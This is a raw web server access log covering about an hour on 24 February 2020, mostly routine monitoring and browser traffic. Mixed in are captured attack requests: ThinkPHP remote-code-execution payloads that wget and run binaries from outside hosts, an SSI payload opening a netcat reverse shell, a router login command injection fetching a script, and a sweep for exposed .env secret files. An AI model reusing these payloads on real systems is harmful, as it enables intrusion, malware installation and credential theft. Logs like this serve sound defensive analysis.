212.91.246.72 - - [24/Feb/2020:09:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.250.10.58 - - [24/Feb/2020:09:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:09:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:09:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
41.211.101.78 - - [24/Feb/2020:09:08:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.216.102.13 - - [24/Feb/2020:09:10:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:09:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:09:15:48 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.218.154 - - [24/Feb/2020:09:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:09:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:09:20:28 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:09:20:31 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.248.206 - - [24/Feb/2020:09:22:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:09:22:20 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.193.74.159 - - [24/Feb/2020:09:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.18 - - [24/Feb/2020:09:30:35 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
169.197.108.38 - - [24/Feb/2020:09:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.53.169.134 - - [24/Feb/2020:09:33:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [24/Feb/2020:09:36:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.170.14.210 - - [24/Feb/2020:09:37:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:09:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [24/Feb/2020:09:37:45 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [24/Feb/2020:09:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.193.74.159 - - [24/Feb/2020:09:48:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [24/Feb/2020:09:50:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:09:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.47.103.33 - - [24/Feb/2020:09:53:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:09:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.107.172.179 - - [24/Feb/2020:09:56:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.87.141.192 - - [24/Feb/2020:09:56:14 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [24/Feb/2020:09:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [24/Feb/2020:09:57:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:09:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [24/Feb/2020:09:59:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [24/Feb/2020:09:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.244.111.223 - - [24/Feb/2020:10:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:10:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.55.248.144 - - [24/Feb/2020:10:03:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:10:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.62.55.19 - - [24/Feb/2020:10:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:10:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.96.14.25 - - [24/Feb/2020:10:05:35 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [24/Feb/2020:10:05:36 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [24/Feb/2020:10:05:36 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [24/Feb/2020:10:05:37 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [24/Feb/2020:10:05:37 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [24/Feb/2020:10:05:38 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [24/Feb/2020:10:05:38 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [24/Feb/2020:10:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [24/Feb/2020:10:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.145.231.206 - - [24/Feb/2020:10:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.131.176.42 - - [24/Feb/2020:10:06:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:10:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:10:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.177 - - [24/Feb/2020:10:12:22 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:22 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:22 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:23 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [24/Feb/2020:10:12:24 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
